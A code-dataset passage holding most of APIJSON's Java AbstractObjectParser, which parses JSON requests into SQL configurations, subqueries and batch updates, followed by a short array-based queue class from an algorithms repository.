response重新赋值 * @return null or this * @throws Exception */ @Override public AbstractObjectParser parse(String name, boolean isReuse) throws Exception { if (isInvalidate() == false) { this.isReuse = isReuse; this.name = name; this.path = AbstractParser.getAbsPath(parentPath, name); apijson.orm.Entry<String, String> tentry = Pair.parseEntry(name, true); this.table = tentry.getKey(); this.alias = tentry.getValue(); Log.d(TAG, "AbstractObjectParser parentPath = " + parentPath + "; name = " + name + "; table = " + table + "; alias = " + alias); Log.d(TAG, "AbstractObjectParser type = " + type + "; isTable = " + isTable + "; isArrayMainTable = " + isArrayMainTable); Log.d(TAG, "AbstractObjectParser isEmpty = " + request.isEmpty() + "; tri = " + tri + "; drop = " + drop); breakParse = false; response = new JSONObject(true); // must init sqlResponse = null; // must init if (isReuse == false) { sqlRequest = new JSONObject(true); // must init customMap = null; // must init functionMap = null; // must init childMap = null; // must init Set<Entry<String, Object>> set = request.isEmpty() ? null : new LinkedHashSet<>(request.entrySet()); if (set != null && set.isEmpty() == false) { // 判断换取少几个变量的初始化是否值得? if (isTable) { // 非Table下必须保证原有顺序!否则 count,page 会丢, total@:"/[]/total" 会在[]:{}前执行! customMap = new LinkedHashMap<String, Object>(); childMap = new LinkedHashMap<String, JSONObject>(); } functionMap = new LinkedHashMap<String, Map<String, String>>();//必须执行 // 条件 <<<<<<<<<<<<<<<<<<< List<String> whereList = null; if (method == PUT) { // 这里只有PUTArray需要处理 || method == DELETE) { String[] combine = StringUtil.split(request.getString(KEY_COMBINE)); if (combine != null) { String w; for (int i = 0; i < combine.length; i++) { // 去除 &,|,! 前缀 w = combine[i]; if (w != null && (w.startsWith("&") || w.startsWith("|") || w.startsWith("!"))) { combine[i] = w.substring(1); } } } // Arrays.asList() 返回值不支持 add 方法! whereList = new ArrayList<String>(Arrays.asList(combine != null ? combine : new String[]{})); whereList.add(apijson.JSONRequest.KEY_ID); whereList.add(apijson.JSONRequest.KEY_ID_IN); // whereList.add(apijson.JSONRequest.KEY_USER_ID); // whereList.add(apijson.JSONRequest.KEY_USER_ID_IN); } // 条件>>>>>>>>>>>>>>>>>>> int index = 0; // hasOtherKeyNotFun = false; for (Entry<String, Object> entry : set) { if (isBreakParse()) { break; } String key = entry == null ? null : entry.getKey(); Object value = key == null ? null : entry.getValue(); if (value == null) { continue; } // 处理url crud, 将crud 转换为真实method RequestMethod _method = this.parser.getRealMethod(method, key, value); // 没有执行校验流程的情况,比如url head, sql@子查询, sql@ method=GET Object obj = key.endsWith("@") ? request.get(key) : null; if (obj instanceof JSONObject) { ((JSONObject) obj).put(apijson.JSONObject.KEY_METHOD, GET); } try { boolean startsWithAt = key.startsWith("@"); // if (startsWithAt || (key.endsWith("()") == false)) { // hasOtherKeyNotFun = true; // } if (startsWithAt || key.endsWith("@") || (key.endsWith("<>") && value instanceof JSONObject)) { if (onParse(key, value) == false) { invalidate(); } } else if (value instanceof JSONObject) { // JSONObject,往下一级提取 if (childMap != null) { // 添加到childMap,最后再解析 childMap.put(key, (JSONObject)value); } else { // 直接解析并替换原来的,[]:{} 内必须直接解析,否则会因为丢掉count等属性,并且total@:"/[]/total"必须在[]:{} 后! response.put(key, onChildParse(index, key, (JSONObject)value)); index ++; } } else if ((_method == POST || _method == PUT) && value instanceof JSONArray && JSONRequest.isTableArray(key)) { // JSONArray,批量新增或修改,往下一级提取 onTableArrayParse(key, (JSONArray) value); } else if (_method == PUT && value instanceof JSONArray && (whereList == null || whereList.contains(key) == false) && StringUtil.isName(key.replaceFirst("[+-]$", ""))) { // PUT JSONArray onPUTArrayParse(key, (JSONArray) value); } else { // JSONArray 或其它 Object,直接填充 if (onParse(key, value) == false) { invalidate(); } } } catch (Exception e) { if (tri == false) { throw CommonException.wrap(e, sqlConfig); // 不忽略错误,抛异常 } invalidate(); // 忽略错误,还原request } } } if (isTable) { if (parser.getGlobalDatabase() != null && sqlRequest.get(JSONRequest.KEY_DATABASE) == null) { sqlRequest.put(JSONRequest.KEY_DATABASE, parser.getGlobalDatabase()); } if (parser.getGlobalSchema() != null && sqlRequest.get(JSONRequest.KEY_SCHEMA) == null) { sqlRequest.put(JSONRequest.KEY_SCHEMA, parser.getGlobalSchema()); } if (parser.getGlobalDatasource() != null && sqlRequest.get(JSONRequest.KEY_DATASOURCE) == null) { sqlRequest.put(JSONRequest.KEY_DATASOURCE, parser.getGlobalDatasource()); } if (isSubquery == false) { // 解决 SQL 语法报错,子查询不能 EXPLAIN if (parser.getGlobalExplain() != null && sqlRequest.get(JSONRequest.KEY_EXPLAIN) == null) { sqlRequest.put(JSONRequest.KEY_EXPLAIN, parser.getGlobalExplain()); } if (parser.getGlobalCache() != null && sqlRequest.get(JSONRequest.KEY_CACHE) == null) { sqlRequest.put(JSONRequest.KEY_CACHE, parser.getGlobalCache()); } } } } if (isTable) { // 非Table内的函数会被滞后在onChildParse后调用 onFunctionResponse("-"); } } if (isInvalidate()) { recycle(); return null; } return this; } //private boolean hasOtherKeyNotFun = false; /**解析普通成员 * @param key * @param value * @return whether parse succeed */ @Override public boolean onParse(@NotNull String key, @NotNull Object value) throws Exception { if (key.endsWith("@")) { // StringUtil.isPath((String) value)) { // [] 内主表 position > 0 时,用来生成 SQLConfig 的键值对全都忽略,不解析 if (value instanceof JSONObject) { // key{}@ getRealKey, SQL 子查询对象,JSONObject -> SQLConfig.getSQL String replaceKey = key.substring(0, key.length() - 1); JSONObject subquery = (JSONObject) value; String range = subquery.getString(JSONRequest.KEY_SUBQUERY_RANGE); if (range != null && JSONRequest.SUBQUERY_RANGE_ALL.equals(range) == false && JSONRequest.SUBQUERY_RANGE_ANY.equals(range) == false) { throw new IllegalArgumentException("子查询 " + path + "/" + key + ":{ range:value } 中 value 只能为 [" + JSONRequest.SUBQUERY_RANGE_ALL + ", " + JSONRequest.SUBQUERY_RANGE_ANY + "] 中的一个!"); } JSONArray arr = parser.onArrayParse(subquery, path, key, true); JSONObject obj = arr == null || arr.isEmpty() ? null : arr.getJSONObject(0); if (obj == null) { throw new Exception("服务器内部错误,解析子查询 " + path + "/" + key + ":{ } 为 Subquery 对象失败!"); } String from = subquery.getString(JSONRequest.KEY_SUBQUERY_FROM); boolean isEmpty = StringUtil.isEmpty(from); JSONObject arrObj = isEmpty ? null : obj.getJSONObject(from); if (isEmpty) { Set<Entry<String, Object>> set = obj.entrySet(); for (Entry<String, Object> e : set) { String k = e == null ? null : e.getKey(); Object v = k == null ? null : e.getValue(); if (v instanceof JSONObject && JSONRequest.isTableKey(k)) { from = k; arrObj = (JSONObject) v; break; } } } if (arrObj == null) { throw new IllegalArgumentException("子查询 " + path + "/" + key + ":{ from:value } 中 value 对应的主表对象 " + from + ":{} 不存在!"); } SQLConfig cfg = (SQLConfig) arrObj.get(AbstractParser.KEY_CONFIG); if (cfg == null) { throw new NotExistException(TAG + ".onParse cfg == null"); } Subquery s = new Subquery(); s.setPath(path); s.setOriginKey(key); s.setOriginValue(subquery); s.setFrom(from); s.setRange(range); s.setKey(replaceKey); s.setConfig(cfg); key = replaceKey; value = s; //(range == null || range.isEmpty() ? "" : "range") + "(" + cfg.getSQL(false) + ") "; parser.putQueryResult(AbstractParser.getAbsPath(path, key), s); //字符串引用保证不了安全性 parser.getSQL(cfg)); } else if (value instanceof String) { // //key{}@ getRealKey, 引用赋值路径 String replaceKey = key.substring(0, key.length() - 1); // System.out.println("getObject key.endsWith(@) >> parseRelation = " + parseRelation); String targetPath = AbstractParser.getValuePath(type == TYPE_ITEM ? path : parentPath, (String) value); // 先尝试获取,尽量保留缺省依赖路径,这样就不需要担心路径改变 Object target = onReferenceParse(targetPath); Log.i(TAG, "onParse targetPath = " + targetPath + "; target = " + target); if (target == null) { // String#equals(null)会出错 Log.d(TAG, "onParse target == null >> return true;"); if (Log.DEBUG) { parser.putWarnIfNeed(AbstractParser.KEY_REF, path + "/" + key + ": " + targetPath + " 引用赋值获取路径对应的值为 null!请检查路径是否错误!"); } // 非查询关键词 @key 不影响查询,直接跳过 if (isTable && (key.startsWith("@") == false || JSONRequest.TABLE_KEY_LIST.contains(key))) { Log.e(TAG, "onParse isTable && (key.startsWith(@) == false" + " || JSONRequest.TABLE_KEY_LIST.contains(key)) >> return null;"); return false; // 获取不到就不用再做无效的 query 了。不考虑 Table:{Table:{}} 嵌套 } Log.d(TAG, "onParse isTable(table) == false >> return true;"); return true; // 舍去,对Table无影响 } // if (target instanceof Map) { // target 可能是从 requestObject 里取出的 {} // if (isTable || targetPath.endsWith("[]/" + JSONResponse.KEY_INFO) == false) { // Log.d(TAG, "onParse target instanceof Map >> return false;"); // return false; // FIXME 这个判断现在来看是否还有必要?为啥不允许为 JSONObject ?以前可能因为防止二次遍历再解析,现在只有一次遍历 // } // } // // // FIXME 这个判断现在来看是否还有必要?为啥不允许为 JSONObject ?以前可能因为防止二次遍历再解析,现在只有一次遍历 // if (targetPath.equals(target)) { // 必须 valuePath 和保证 getValueByPath 传进去的一致! // Log.d(TAG, "onParse targetPath.equals(target) >>"); // // //非查询关键词 @key 不影响查询,直接跳过 // if (isTable && (key.startsWith("@") == false || JSONRequest.TABLE_KEY_LIST.contains(key))) { // Log.e(TAG, "onParse isTable && (key.startsWith(@) == false" // + " || JSONRequest.TABLE_KEY_LIST.contains(key)) >> return null;"); // return false;//获取不到就不用再做无效的query了。不考虑 Table:{Table:{}}嵌套 // } else { // Log.d(TAG, "onParse isTable(table) == false >> return true;"); // return true;//舍去,对Table无影响 // } // } // 直接替换原来的 key@: path 为 key: target Log.i(TAG, "onParse >> key = replaceKey; value = target;"); key = replaceKey; value = target; Log.d(TAG, "onParse key = " + key + "; value = " + value); } else { throw new IllegalArgumentException(path + "/" + key + ":value 中 value 必须为 依赖路径String 或 SQL子查询JSONObject !"); } } if (key.endsWith("()")) { if (value instanceof String == false) { throw new IllegalArgumentException(path + "/" + key + ":value 中 value 必须为函数String!"); } String k = key.substring(0, key.length() - 2); String type; //远程函数比较少用,一般一个Table:{}内用到也就一两个,所以这里用 "-","0","+" 更直观,转用 -1,0,1 对性能提升不大。 boolean isMinus = k.endsWith("-"); boolean isPlus = isMinus == false && k.endsWith("+"); if (isMinus) { //不能封装到functionMap后批量执行,否则会导致非Table内的 key-():function() 在onChildParse后执行! type = "-"; k = k.substring(0, k.length() - 1); } else if (isPlus) { type = "+"; k = k.substring(0, k.length() - 1); } else { type = "0"; } if (isPlus == false && isTable == false) { parseFunction(key, k, (String) value, this.type == TYPE_ITEM ? path : parentPath, name, request, isMinus); } else { //远程函数比较少用,一般一个Table:{}内用到也就一两个,所以这里循环里new出来对性能影响不大。 Map<String, String> map = functionMap.get(type); if (map == null) { map = new LinkedHashMap<>(); } map.put(k, (String) value); functionMap.put(type, map); } } else if (isTable && key.startsWith("@") && JSONRequest.TABLE_KEY_LIST.contains(key) == false) { customMap.put(key, value); } else { sqlRequest.put(key, value); } return true; } /** * @param index * @param key * @param value * @return * @throws Exception */ @Override public JSON onChildParse(int index, String key, JSONObject value) throws Exception { boolean isFirst = index <= 0; boolean isMain = isFirst && type == TYPE_ITEM; JSON child; boolean isEmpty; if (apijson.JSONObject.isArrayKey(key)) {//APIJSON Array if (isMain) { throw new IllegalArgumentException(parentPath + "/" + key + ":{} 不合法!" + "数组 []:{} 中第一个 key:{} 必须是主表 TableKey:{} !不能为 arrayKey[]:{} !"); } if (arrayConfig == null || arrayConfig.getPosition() == 0) { arrayCount ++; int maxArrayCount = parser.getMaxArrayCount(); if (arrayCount > maxArrayCount) { throw new IllegalArgumentException(path + " 内截至 " + key + ":{} 时数组对象 key[]:{} " + "的数量达到 " + arrayCount + " 已超限,必须在 0-" + maxArrayCount + " 内 !"); } } child = parser.onArrayParse(value, path, key, isSubquery); isEmpty = child == null || ((JSONArray) child).isEmpty(); } else { //APIJSON Object boolean isTableKey = JSONRequest.isTableKey(Pair.parseEntry(key, true).getKey()); if (type == TYPE_ITEM && isTableKey == false) { throw new IllegalArgumentException(parentPath + "/" + key + ":{} 不合法!" + "数组 []:{} 中每个 key:{} 都必须是表 TableKey:{} 或 数组 arrayKey[]:{} !"); } if ( //避免使用 "test":{"Test":{}} 绕过限制,实现查询爆炸 isTableKey && (arrayConfig == null || arrayConfig.getPosition() == 0)) { objectCount ++; int maxObjectCount = parser.getMaxObjectCount(); if (objectCount > maxObjectCount) { //TODO 这里判断是批量新增/修改,然后上限为 maxUpdateCount throw new IllegalArgumentException(path + " 内截至 " + key + ":{} 时对象" + " key:{} 的数量达到 " + objectCount + " 已超限,必须在 0-" + maxObjectCount + " 内 !"); } } child = parser.onObjectParse(value, path, key, isMain ? arrayConfig.setType(SQLConfig.TYPE_ITEM_CHILD_0) : null, isSubquery); isEmpty = child == null || ((JSONObject) child).isEmpty(); if (isFirst && isEmpty) { invalidate(); } } // Log.i(TAG, "onChildParse ObjectParser.onParse key = " + key + "; child = " + child); return isEmpty ? null : child;//只添加! isChildEmpty的值,可能数据库返回数据不够count } //TODO 改用 MySQL json_add,json_remove,json_contains 等函数!不过就没有具体报错了,或许可以新增功能符,或者直接调 SQL 函数 /**PUT key:[] * @param key * @param array * @throws Exception */ @Override public void onPUTArrayParse(@NotNull String key, @NotNull JSONArray array) throws Exception { if (isTable == false || array.isEmpty()) { sqlRequest.put(key, array); Log.e(TAG, "onPUTArrayParse isTable == false || array == null || array.isEmpty() >> return;"); return; } int putType = 0; if (key.endsWith("+")) {//add putType = 1; } else if (key.endsWith("-")) {//remove putType = 2; } else {//replace sqlRequest.put(key, array); return; } String realKey = AbstractSQLConfig.getRealKey(method, key, false, false); //GET > add all 或 remove all > PUT > remove key //GET <<<<<<<<<<<<<<<<<<<<<<<<< JSONObject rq = new JSONObject(true); rq.put(JSONRequest.KEY_ID, request.get(JSONRequest.KEY_ID)); rq.put(JSONRequest.KEY_COLUMN, realKey); JSONObject rp = parseResponse(RequestMethod.GET, table, null, rq, null, false); //GET >>>>>>>>>>>>>>>>>>>>>>>>> //add all 或 remove all <<<<<<<<<<<<<<<<<<<<<<<<< Object target = rp == null ? null : rp.get(realKey); if (target instanceof String) { try { target = JSON.parse((String) target); } catch (Throwable e) { if (Log.DEBUG) { Log.e(TAG, "try {\n" + "\t\t\t\ttarget = JSON.parse((String) target);\n" + "\t\t\t}\n" + "\t\t\tcatch (Throwable e) = " + e.getMessage()); } } } if (apijson.JSON.isBooleanOrNumberOrString(target)) { throw new NullPointerException("PUT " + path + ", " + realKey + " 类型为 " + target.getClass().getSimpleName() + "," + "不支持 Boolean, String, Number 等类型字段使用 'key+': [] 或 'key-': [] !" + "对应字段在数据库的值必须为 JSONArray, JSONObject 中的一种!" + "值为 JSONObject 类型时传参必须是 'key+': [{'key': value, 'key2': value2}] 或 'key-': ['key', 'key2'] !" ); } boolean isAdd = putType == 1; Collection<Object> targetArray = target instanceof Collection ? (Collection<Object>) target : null; Map<String, ?> targetObj = target instanceof Map ? (Map<String, Object>) target : null; if (targetArray == null && targetObj == null) { if (isAdd == false) { throw new NullPointerException("PUT " + path + ", " + realKey + (target == null ? " 值为 null,不支持移除!" : " 类型为 " + target.getClass().getSimpleName() + ",不支持这样移除!") + "对应字段在数据库的值必须为 JSONArray, JSONObject 中的一种,且 key- 移除时,本身的值不能为 null!" + "值为 JSONObject 类型时传参必须是 'key+': [{'key': value, 'key2': value2}] 或 'key-': ['key', 'key2'] !" ); } targetArray = new JSONArray(); } for (int i = 0; i < array.size(); i++) { Object obj = array.get(i); if (obj == null) { continue; } if (isAdd) { if (targetArray != null) { if (targetArray.contains(obj)) { throw new ConflictException("PUT " + path + ", " + key + "/" + i + " 已存在!"); } targetArray.add(obj); } else { if (obj != null && obj instanceof Map == false) { throw new ConflictException("PUT " + path + ", " + key + "/" + i + " 必须为 JSONObject {} !"); } targetObj.putAll((Map) obj); } } else { if (targetArray != null) { if (targetArray.contains(obj) == false) { throw new NullPointerException("PUT " + path + ", " + key + "/" + i + " 不存在!"); } targetArray.remove(obj); } else { if (obj instanceof String == false) { throw new ConflictException("PUT " + path + ", " + key + "/" + i + " 必须为 String 类型 !"); } if (targetObj.containsKey(obj) == false) { throw new NullPointerException("PUT " + path + ", " + key + "/" + i + " 不存在!"); } targetObj.remove(obj); } } } //add all 或 remove all >>>>>>>>>>>>>>>>>>>>>>>>> //PUT <<<<<<<<<<<<<<<<<<<<<<<<< sqlRequest.put(realKey, targetArray != null ? targetArray : JSON.toJSONString(targetObj, SerializerFeature.WriteMapNullValue)); //PUT >>>>>>>>>>>>>>>>>>>>>>>>> } @Override public void onTableArrayParse(String key, JSONArray valueArray) throws Exception { String childKey = key.substring(0, key.length() - JSONRequest.KEY_ARRAY.length()); int allCount = 0; JSONArray ids = new JSONArray(); int version = parser.getVersion(); int maxUpdateCount = parser.getMaxUpdateCount(); SQLConfig cfg = null; // 不能污染当前的配置 getSQLConfig(); if (cfg == null) { // TODO 每次都创建成本比较高,是否新增 defaultInstance 或者 configInstance 用来专门 getIdKey 等? cfg = parser.createSQLConfig(); } String idKey = cfg.getIdKey(); //Table[]: [{}] arrayConfig 为 null boolean isNeedVerifyContent = parser.isNeedVerifyContent(); cfg.setTable(childKey); // Request 表 structure 中配置 "ALLOW_PARTIAL_UPDATE_FAILED": "Table[],key[],key:alias[]" 自动配置 boolean allowPartialFailed = cfg.allowPartialUpdateFailed(); JSONArray failedIds = allowPartialFailed ? new JSONArray() : null; int firstFailIndex = -1; JSONObject firstFailReq = null; Throwable firstFailThrow = null; for (int i = 0; i < valueArray.size(); i++) { //只要有一条失败,则抛出异常,全部失败 //TODO 改成一条多 VALUES 的 SQL 性能更高,报错也更会更好处理,更人性化 JSONObject item; try { item = valueArray.getJSONObject(i); if (item == null) { throw new NullPointerException(); } } catch (Exception e) { throw new UnsupportedDataTypeException( "批量新增/修改失败!" + key + "/" + i + ":value 中value不合法!类型必须是 OBJECT ,结构为 {} !" ); } Object id = item.get(idKey); JSONObject req = new JSONRequest(childKey, item); JSONObject result = null; try { if (isNeedVerifyContent) { req = parser.parseCorrectRequest(method, childKey, version, "", req, maxUpdateCount, parser); } //parser.getMaxSQLCount() ? 可能恶意调用接口,把数据库拖死 result = (JSONObject) onChildParse(0, "" + i, req); } catch (Exception e) { if (allowPartialFailed == false) { throw e; } if (firstFailThrow == null) { firstFailThrow = e; firstFailReq = valueArray.getJSONObject(i); // item } } result = result == null ? null : result.getJSONObject(childKey); boolean success = JSONResponse.isSuccess(result); int count = result == null ? 0 : result.getIntValue(JSONResponse.KEY_COUNT); if (id == null && result != null) { id = result.get(idKey); } if (success == false || count != 1) { //如果 code = 200 但 count != 1,不能算成功,掩盖了错误不好排查问题 if (allowPartialFailed) { failedIds.add(id); if (firstFailIndex < 0) { firstFailIndex = i; } } else { throw new ServerException( "批量新增/修改失败!" + key + "/" + i + ":" + (success ? "成功但 count != 1 !" : (result == null ? "null" : result.getString(JSONResponse.KEY_MSG)) )); } } allCount += 1; // 加了 allowPartialFailed 后 count 可能为 0 allCount += count; ids.add(id); } int failedCount = failedIds == null ? 0 : failedIds.size(); if (failedCount > 0 && failedCount >= allCount) { throw new ServerException("批量新增/修改 " + key + ":[] 中 " + allCount + " 个子项全部失败!" + "第 " + firstFailIndex + " 项失败原因:" + (firstFailThrow == null ? "" : firstFailThrow.getMessage())); } JSONObject allResult = AbstractParser.newSuccessResult(); if (failedCount > 0) { allResult.put("failedCount", failedCount); allResult.put("failedIdList", failedIds); JSONObject failObj = new JSONObject(true); failObj.put("index", firstFailIndex); failObj.put(childKey, firstFailReq); if (firstFailThrow instanceof CommonException && firstFailThrow.getCause() != null) { firstFailThrow = firstFailThrow.getCause(); } JSONObject obj = firstFailThrow == null ? failObj : AbstractParser.extendErrorResult(failObj, firstFailThrow, parser.isRoot()); if (Log.DEBUG && firstFailThrow != null) { obj.put("trace:throw", firstFailThrow.getClass().getName()); obj.put("trace:stack", firstFailThrow.getStackTrace()); } allResult.put("firstFailed", obj); } allResult.put(JSONResponse.KEY_COUNT, allCount); allResult.put(idKey + "[]", ids); response.put(childKey, allResult); //不按原样返回,避免数据量过大 } @Override public JSONObject parseResponse(RequestMethod method, String table, String alias , JSONObject request, List<Join> joinList, boolean isProcedure) throws Exception { SQLConfig<T> config = newSQLConfig(method, table, alias, request, joinList, isProcedure) .setParser(parser) .setObjectParser(this); return parseResponse(config, isProcedure); } @Override public JSONObject parseResponse(SQLConfig<T> config, boolean isProcedure) throws Exception { if (parser.getSQLExecutor() == null) { parser.createSQLExecutor(); } if (parser != null && config.getParser() == null) { config.setParser(parser); } return parser.getSQLExecutor().execute(config, isProcedure); } @Override public SQLConfig newSQLConfig(boolean isProcedure) throws Exception { String raw = Log.DEBUG == false || sqlRequest == null ? null : sqlRequest.getString(apijson.JSONRequest.KEY_RAW); String[] keys = raw == null ? null : StringUtil.split(raw); if (keys != null && keys.length > 0) { boolean allow = AbstractSQLConfig.ALLOW_MISSING_KEY_4_COMBINE; for (String key : keys) { if (sqlRequest.get(key) != null) { continue; } String msg = "@raw:value 的 value 中 " + key + " 不合法!对应的 " + key + ": value 在当前对象 " + name + " 不存在或 value = null,无法有效转为原始 SQL 片段!"; if (allow == false) { throw new UnsupportedOperationException(msg); } if (parser instanceof AbstractParser) { ((AbstractParser) parser).putWarnIfNeed(JSONRequest.KEY_RAW, msg); } break; } } return newSQLConfig(method, table, alias, sqlRequest, joinList, isProcedure) .setParser(parser) .setObjectParser(this); } /**SQL 配置,for single object * @return {@link #setSQLConfig(int, int, int)} * @throws Exception */ @Override public AbstractObjectParser setSQLConfig() throws Exception { return setSQLConfig(RequestMethod.isQueryMethod(method) ? 1 : 0, 0, 0); } @Override public AbstractObjectParser setSQLConfig(int count, int page, int position) throws Exception { if (isTable == false || isReuse) { return setPosition(position); } if (sqlConfig == null) { try { sqlConfig = newSQLConfig(false); } catch (Exception e) { if (e instanceof NotExistException || (e instanceof CommonException && e.getCause() instanceof NotExistException)) { return this; } throw e; } } sqlConfig.setCount(sqlConfig.getCount() <= 0 ? count : sqlConfig.getCount()).setPage(page).setPosition(position); parser.onVerifyRole(sqlConfig); return this; } protected SQLConfig sqlConfig = null;//array item复用 /**SQL查询,for array item * @return this * @throws Exception */ @Override public AbstractObjectParser executeSQL() throws Exception { //执行SQL操作数据库 if (isTable == false) {//提高性能 sqlResponse = new JSONObject(sqlRequest); } else { try { sqlResponse = onSQLExecute(); } catch (Exception e) { if (e instanceof NotExistException || (e instanceof CommonException && e.getCause() instanceof NotExistException)) { // Log.e(TAG, "getObject try { response = getSQLObject(config2); } catch (Exception e) {"); // if (e instanceof NotExistException) {//非严重异常,有时候只是数据不存在 // // e.printStackTrace(); sqlResponse = null;//内部吃掉异常,put到最外层 // requestObject.put(JSONResponse.KEY_MSG // , StringUtil.getString(requestObject.get(JSONResponse.KEY_MSG) // + "; query " + path + " cath NotExistException:" // + newErrorResult(e).getString(JSONResponse.KEY_MSG))); // } else { // throw e; // } } else { throw e; } } } if (drop) {//丢弃Table,只为了向下提供条件 sqlResponse = null; } return this; } /** * @return response * @throws Exception */ @Override public JSONObject response() throws Exception { if (sqlResponse == null || sqlResponse.isEmpty()) { if (isTable) {//Table自身都获取不到值,则里面的Child都无意义,不需要再解析 return null; // response; } } else { response.putAll(sqlResponse); } //把isTable时取出去的custom重新添加回来 if (customMap != null) { response.putAll(customMap); } onFunctionResponse("0"); onChildResponse(); onFunctionResponse("+"); onComplete(); return response; } @Override public void onFunctionResponse(String type) throws Exception { Map<String, String> map = functionMap == null ? null : functionMap.get(type); //解析函数function Set<Entry<String, String>> functionSet = map == null ? null : map.entrySet(); if (functionSet != null && functionSet.isEmpty() == false) { boolean isMinus = "-".equals(type); JSONObject json = isMinus ? sqlRequest : response; // key-():function 是实时执行,而不是在这里批量执行 for (Entry<String, String> entry : functionSet) { parseFunction(entry.getKey(), entry.getKey(), entry.getValue(), this.type == TYPE_ITEM ? path : parentPath, name, json, isMinus); } } } //public void parseFunction(String key, String value, String parentPath, String currentName, JSONObject currentObject) throws Exception { // parseFunction(key, value, parentPath, currentName, currentObject, false); //} public void parseFunction(String rawKey, String key, String value, String parentPath , String currentName, JSONObject currentObject, boolean isMinus) throws Exception { Object result; boolean containRaw = rawKeyList != null && rawKeyList.contains(rawKey); boolean isProcedure = key.startsWith("@"); if (isProcedure) { FunctionBean fb = AbstractFunctionParser.parseFunction(value, currentObject, true, containRaw); SQLConfig config = newSQLConfig(true); String sch = fb.getSchema(); if (StringUtil.isNotEmpty(sch, true)) { config.setSchema(sch); } config.setProcedure(fb.toFunctionCallString(true)); result = parseResponse(config, true); key = key.substring(1); } else { result = parser.onFunctionParse(key, value, parentPath, currentName, currentObject, containRaw); } String k = AbstractSQLConfig.getRealKey(method, key, false, false); if (isProcedure == false && isMinus) { if (result != null) { sqlRequest.put(k, result); } else { sqlRequest.remove(k); } } if (result != null) { response.put(k, result); } else { response.remove(k); } parser.putQueryResult(AbstractParser.getAbsPath(path, k), result); } @Override public void onChildResponse() throws Exception { //把isTable时取出去child解析后重新添加回来 Set<Entry<String, JSONObject>> set = childMap == null ? null : childMap.entrySet(); if (set != null) { int index = 0; for (Entry<String, JSONObject> entry : set) { Object child = entry == null ? null : onChildParse(index, entry.getKey(), entry.getValue()); if (child == null || (child instanceof JSONObject && ((JSONObject) child).isEmpty()) || (child instanceof JSONArray && ((JSONArray) child).isEmpty()) ) { continue; } response.put(entry.getKey(), child); index ++; } } } @Override public Object onReferenceParse(@NotNull String path) { return parser.getValueByPath(path); } @SuppressWarnings("unchecked") @Override public JSONObject onSQLExecute() throws Exception { int position = getPosition(); JSONObject result; if (isArrayMainTable && position > 0) { // 数组主表使用专门的缓存数据 result = parser.getArrayMainCacheItem(parentPath.substring(0, parentPath.lastIndexOf("[]") + 2), position); } else { result = parser.executeSQL(sqlConfig, isSubquery); boolean isSimpleArray = false; // 提取并缓存数组主表的列表数据 List<JSONObject> rawList = result == null ? null : (List<JSONObject>) result.remove(AbstractSQLExecutor.KEY_RAW_LIST); if (isArrayMainTable && position == 0 && rawList != null) { isSimpleArray = (functionMap == null || functionMap.isEmpty()) && (customMap == null || customMap.isEmpty()) && (childMap == null || childMap.isEmpty()) && (table.equals(arrayTable)); // APP JOIN 副表时副表返回了这个字段 rawList = (List<JSONObject>) result.remove(AbstractSQLExecutor.KEY_RAW_LIST); String arrayPath = parentPath.substring(0, parentPath.lastIndexOf("[]") + 2); if (isSimpleArray == false) { long startTime = System.currentTimeMillis(); for (int i = 1; i < rawList.size(); i++) { // 从 1 开始,0 已经处理过 JSONObject obj = rawList.get(i); if (obj != null) { parser.putQueryResult(arrayPath + "/" + i + "/" + name, obj); // 解决获取关联数据时requestObject里不存在需要的关联数据 } } long endTime = System.currentTimeMillis(); // 3ms - 8ms Log.e(TAG, "\n onSQLExecute <<<<<<<<<<<<<<<<<<<<<<<<<<<<" + "\n for (int i = 1; i < list.size(); i++) startTime = " + startTime + "; endTime = " + endTime + "; duration = " + (endTime - startTime) + "\n >>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n "); } parser.putArrayMainCache(arrayPath, rawList); } if (isSubquery == false && result != null) { parser.putQueryResult(path, result); // 解决获取关联数据时requestObject里不存在需要的关联数据 if (isSimpleArray && rawList != null) { result.put(AbstractSQLExecutor.KEY_RAW_LIST, rawList); } } } return result; } /** * response has the final value after parse (and query if isTable) */ @Override public void onComplete() { } /**回收内存 */ @Override public void recycle() { //后面还可能用到,要还原 if (tri) {//避免返回未传的字段 request.put(KEY_TRY, tri); } if (drop) { request.put(KEY_DROP, drop); } method = null; parentPath = null; arrayConfig = null; // if (response != null) { // response.clear();//有效果? // response = null; // } request = null; response = null; sqlRequest = null; sqlResponse = null; functionMap = null; customMap = null; childMap = null; } protected RequestMethod method; @Override public AbstractObjectParser setMethod(RequestMethod method) { if (this.method != method) { this.method = method; sqlConfig = null; //TODO ? sqlResponse = null; } return this; } @Override public RequestMethod getMethod() { return method; } @Override public boolean isTable() { return isTable; } @Override public String getPath() { return path; } @Override public String getTable() { return table; } @Override public String getAlias() { return alias; } @Override public SQLConfig<T> getArrayConfig() { return arrayConfig; } @Override public SQLConfig<T> getSQLConfig() { return sqlConfig; } @Override public JSONObject getResponse() { return response; } @Override public JSONObject getSqlRequest() { return sqlRequest; } @Override public JSONObject getSqlResponse() { return sqlResponse; } @Override public Map<String, Object> getCustomMap() { return customMap; } @Override public Map<String, Map<String, String>> getFunctionMap() { return functionMap; } @Override public Map<String, JSONObject> getChildMap() { return childMap; } }
Tencent/APIJSON
APIJSONORM/src/main/java/apijson/orm/AbstractObjectParser.java
93
package queue; /** * Created by wangzheng on 2018/10/9. */ // 用数组实现的队列 public class ArrayQueue { // 数组:items,数组大小:n private String[] items; private int n = 0; // head表示队头下标,tail表示队尾下标 private int head = 0; private int tail = 0; // 申请一个大小为capacity的数组 public ArrayQueue(int capacity) { items = new String[capacity]; n = capacity; } // 入队 public boolean enqueue(String item) { // 如果tail == n 表示队列已经满了 if (tail == n) return false; items[tail] = item; ++tail; return true; } // 出队 public String dequeue() { // 如果head == tail 表示队列为空 if (head == tail) return null; // 为了让其他语言的同学看的更加明确,把--操作放到单独一行来写了 String ret = items[head]; ++head; return ret; } public void printAll() { for (int i = head; i < tail; ++i) { System.out.print(items[i] + " "); } System.out.println(); } }
wangzheng0822/algo
java/09_queue/ArrayQueue.java
95
